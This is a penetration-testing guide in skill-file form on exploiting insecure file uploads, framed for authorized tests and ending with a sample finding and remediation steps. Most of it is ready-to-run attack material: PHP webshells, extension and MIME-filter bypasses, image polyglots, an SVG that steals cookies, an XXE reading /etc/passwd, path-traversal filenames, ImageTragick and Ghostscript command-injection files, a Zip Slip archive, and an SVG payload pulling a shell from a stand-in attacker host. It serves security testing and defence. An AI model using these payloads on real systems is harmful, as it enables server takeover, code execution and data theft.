---
name: exploiting-file-upload-vulnerabilities
description: Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- file-upload
- rce
- owasp
- web-security
- webshell
version: '1.0'
author: xalgord
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- DE.CM-01
---

# Exploiting File Upload Vulnerabilities

## When to Use

- During authorized penetration tests when the application allows users to upload files (avatars, documents, images, attachments)
- When testing file processing features (image resizing, document conversion, CSV/XML import)
- For assessing applications with rich media upload (profile pictures, galleries, file managers)
- When evaluating APIs with multipart form data endpoints
- During security assessments of cloud storage integrations (S3 pre-signed URLs, Azure Blob)

## Prerequisites

- **Authorization**: Written penetration testing agreement including upload testing scope
- **curl**: For crafting multipart upload requests
- **exiftool**: For metadata injection (`apt install libimage-exiftool-perl`)
- **Burp Suite**: For intercepting and modifying upload requests
- **Weevely/phpggc**: For generating PHP webshells and deserialization payloads
- **ImageMagick test images**: For ImageTragick exploitation
- **Knowledge of target stack**: PHP, ASP.NET, Java, Node.js — determines viable shell extensions

## Workflow

### Step 1: Identify Upload Functionality and Map Restrictions

Enumerate all upload endpoints and understand validation mechanisms.

```bash
# Find upload endpoints by crawling
katana -u https://target.example.com -d 3 | grep -iE "upload|file|attach|import|avatar|image|media"

# Common upload endpoints:
# /upload, /api/upload, /api/v1/files, /media/upload
# /profile/avatar, /settings/photo, /documents/import
# /api/attachments, /admin/import, /editor/images

# Test basic upload and observe response
curl -v -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@test.txt" \
  "https://target.example.com/api/upload"

# Check what file types are accepted
for ext in php php3 php5 phtml pht phps php7 \
  asp aspx ashx asmx svc \
  jsp jspx jsw jsv \
  py pl rb cgi sh \
  svg html htm xml \
  pdf docx xlsx csv; do
  echo "test" > "test.$ext"
  echo -n "$ext -> "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@test.$ext" \
    "https://target.example.com/api/upload"
  echo
  rm -f "test.$ext"
done
```

### Step 2: Bypass Extension Filters

When the server blocks dangerous extensions, use bypass techniques.

```bash
# === EXTENSION BYPASS TECHNIQUES ===

# Double extension
cp shell.php shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"

# Null byte injection (older PHP/ASP)
cp shell.php "shell.php%00.jpg"
curl -F "file=@shell.php%00.jpg" "$UPLOAD_URL"

# Case manipulation
cp shell.php shell.pHp
cp shell.php shell.PHP
cp shell.php shell.Php
for f in shell.pHp shell.PHP shell.Php; do
  echo -n "$f -> "
  curl -s -o /dev/null -w "%{http_code}" -F "file=@$f" "$UPLOAD_URL"
  echo
done

# Alternative PHP extensions
for ext in php3 php4 php5 php7 phtml pht phps phar; do
  cp shell.php "shell.$ext"
  echo -n "$ext -> "
  curl -s -o /dev/null -w "%{http_code}" -F "file=@shell.$ext" "$UPLOAD_URL"
  echo
done

# Trailing characters
cp shell.php "shell.php."
cp shell.php "shell.php "
cp shell.php "shell.php::$DATA"  # Windows NTFS ADS

# Content-Type bypass (change MIME while keeping .php)
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@shell.php;type=image/jpeg" \
  "$UPLOAD_URL"

# .htaccess upload (Apache) — make .xyz execute as PHP
echo "AddType application/x-httpd-php .xyz" > .htaccess
curl -F "file=@.htaccess" "$UPLOAD_URL"
echo '<?php system($_GET["cmd"]); ?>' > shell.xyz
curl -F "file=@shell.xyz" "$UPLOAD_URL"
```

### Step 3: Exploit Content-Type and Magic Byte Validation

Bypass server-side content validation by manipulating headers and file internals.

```bash
# === MAGIC BYTE INJECTION ===

# Create PHP shell with JPEG magic bytes (FFD8FF)
printf '\xFF\xD8\xFF\xE0' > polyglot.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg
curl -F "file=@polyglot.php.jpg;type=image/jpeg" "$UPLOAD_URL"

# Create PHP shell with PNG magic bytes (89504E47)
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > polyglot.php.png
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.png

# Create PHP shell with GIF magic bytes (GIF89a)
echo -n 'GIF89a' > polyglot.php.gif
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.gif
curl -F "file=@polyglot.php.gif;type=image/gif" "$UPLOAD_URL"

# Inject PHP into EXIF data of real image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit-image.jpg
mv legit-image.jpg shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"

# SVG with embedded XSS (Stored XSS via upload)
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <rect width="100" height="100"/>
</svg>
EOF
curl -F "file=@xss.svg;type=image/svg+xml" "$UPLOAD_URL"

# SVG with SSRF via XXE
cat > xxe.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
EOF
curl -F "file=@xxe.svg;type=image/svg+xml" "$UPLOAD_URL"
```

### Step 4: Path Traversal via Filename

Attempt to write files outside the upload directory.

```bash
# Path traversal in filename header
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@shell.php;filename=../../../var/www/html/shell.php" \
  "$UPLOAD_URL"

# URL-encoded traversal
curl -X POST \
  -F "file=@shell.php;filename=..%2F..%2F..%2Fshell.php" \
  "$UPLOAD_URL"

# Double URL-encoded
curl -X POST \
  -F "file=@shell.php;filename=..%252F..%252F..%252Fshell.php" \
  "$UPLOAD_URL"

# Backslash variant (Windows servers)
curl -X POST \
  -F "file=@shell.php;filename=..\\..\\..\\inetpub\\wwwroot\\shell.aspx" \
  "$UPLOAD_URL"

# Overwrite critical files
curl -X POST \
  -F "file=@malicious.htaccess;filename=.htaccess" \
  "$UPLOAD_URL"
```

### Step 5: Exploit Image Processing Libraries

Target server-side image processing (ImageMagick, GD, Pillow).

```bash
# ImageTragick (CVE-2016-3714)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
curl -F "file=@exploit.mvg;filename=exploit.jpg" "$UPLOAD_URL"

# ImageMagick SVG shell
cat > exploit.svg << 'EOF'
<image>
  <read filename="ephemeral:/tmp/test"/>
  <write filename="/tmp/shell.php"/>
  <svg xmlns="http://www.w3.org/2000/svg">
    <image href="https://attacker.com/shell.php" />
  </svg>
</image>
EOF

# Ghostscript exploitation (PDF/EPS processing)
cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
EOF
curl -F "file=@exploit.eps;filename=document.eps" "$UPLOAD_URL"

# Zip Slip (archive extraction traversal)
# Create a zip with path traversal entries
python3 -c "
import zipfile, io
z = zipfile.ZipFile('zipslip.zip', 'w')
z.writestr('../../../tmp/evil.txt', 'pwned')
z.close()
"
curl -F "file=@zipslip.zip" "$UPLOAD_URL"
```

### Step 6: Verify Uploaded Webshell Execution

After successful upload, locate and execute the shell.

```bash
# Common upload directories to check
for dir in /uploads /media /images /files /attachments \
  /static/uploads /assets/uploads /content/images \
  /wp-content/uploads /user/files; do
  echo -n "$dir/shell.php -> "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com${dir}/shell.php"
  echo
done

# If upload returns file URL, test direct execution
UPLOAD_URL=$(curl -s -F "file=@shell.php.jpg" "$UPLOAD_URL" | jq -r '.url // .path // .file_url')
echo "Uploaded to: $UPLOAD_URL"
curl -s "https://target.example.com${UPLOAD_URL}?cmd=id"

# Test if uploaded file is served with correct content type
curl -sI "https://target.example.com/uploads/shell.php" | grep -i content-type
# If content-type is text/html or application/x-httpd-php → code will execute

# Minimal PHP webshell for proof-of-concept (READ-ONLY commands only)
echo '<?php echo shell_exec("id && hostname && cat /etc/hostname"); ?>' > poc.php
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Unrestricted File Upload** | Application accepts any file without validation — direct RCE risk |
| **Extension Blocklist** | Server blocks known dangerous extensions but can be bypassed with alternatives |
| **MIME Type Validation** | Checking Content-Type header only — easily spoofed by the client |
| **Magic Byte Validation** | Checking file header bytes — bypassed with polyglot files |
| **Polyglot File** | A file that is valid in multiple formats simultaneously (e.g., valid JPEG + valid PHP) |
| **Path Traversal Upload** | Writing files outside the intended upload directory via filename manipulation |
| **ImageTragick** | CVE-2016-3714 — ImageMagick command injection via crafted image files |
| **Zip Slip** | Archive extraction vulnerability allowing file writes outside the target directory |
| **Race Condition Upload** | File is briefly accessible before server-side validation deletes it |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite** | Intercept and modify upload requests, change Content-Type and filename |
| **exiftool** | Inject payloads into image EXIF metadata |
| **Weevely** | Generate obfuscated PHP webshells that evade signature detection |
| **phpggc** | PHP deserialization gadget chain generator for upload+deserialize chains |
| **fuxploider** | Automated file upload vulnerability scanner |
| **upload-scanner (Burp extension)** | Automated upload bypass testing within Burp Suite |

## Common Scenarios

### Scenario 1: Avatar Upload to RCE
Profile avatar upload accepts JPEG files. By uploading a polyglot file with GIF89a magic bytes and a .php.jpg double extension, the server stores it as PHP. Accessing the URL directly triggers PHP execution, achieving RCE.

### Scenario 2: SVG Upload to Stored XSS
Application allows SVG uploads for user icons. An SVG containing `onload="alert(document.cookie)"` executes JavaScript in every user's browser who views the icon, enabling session hijacking.

### Scenario 3: ZIP Import with Path Traversal
A bulk import feature extracts uploaded ZIP files. A crafted ZIP with `../../shell.php` entries writes a webshell to the web root outside the upload directory.

### Scenario 4: Document Converter SSRF
A PDF-from-URL feature uses server-side rendering. Uploading an HTML file with `<iframe src="http://169.254.169.254/latest/meta-data/">` causes the renderer to fetch and embed cloud metadata in the generated PDF.

## Output Format

```
## File Upload Vulnerability Finding

**Vulnerability**: Unrestricted File Upload → Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: POST /api/profile/avatar - `file` parameter
**OWASP Category**: A04:2021 - Insecure Design

### Reproduction Steps
1. Create polyglot PHP/JPEG: printf '\xFF\xD8\xFF\xE0' > shell.php.jpg && echo '<?php system("id"); ?>' >> shell.php.jpg
2. Upload via POST /api/profile/avatar with Content-Type: image/jpeg
3. Server returns upload path: /uploads/avatars/shell.php.jpg
4. Access https://target.example.com/uploads/avatars/shell.php.jpg → PHP executes
5. Command output: uid=33(www-data) gid=33(www-data)

### Impact
- Full remote code execution as www-data user
- Read access to application source code and configuration
- Database credential extraction from config files
- Potential lateral movement to internal services

### Recommendation
1. Validate file content using magic bytes AND re-encode images (strip metadata)
2. Use allowlist for file extensions (not blocklist)
3. Store uploads outside the web root with randomized non-guessable filenames
4. Serve uploads from a separate domain/CDN with no-execute headers
5. Set Content-Disposition: attachment for all uploaded files
6. Implement Content-Security-Policy to prevent inline script execution from SVG
```
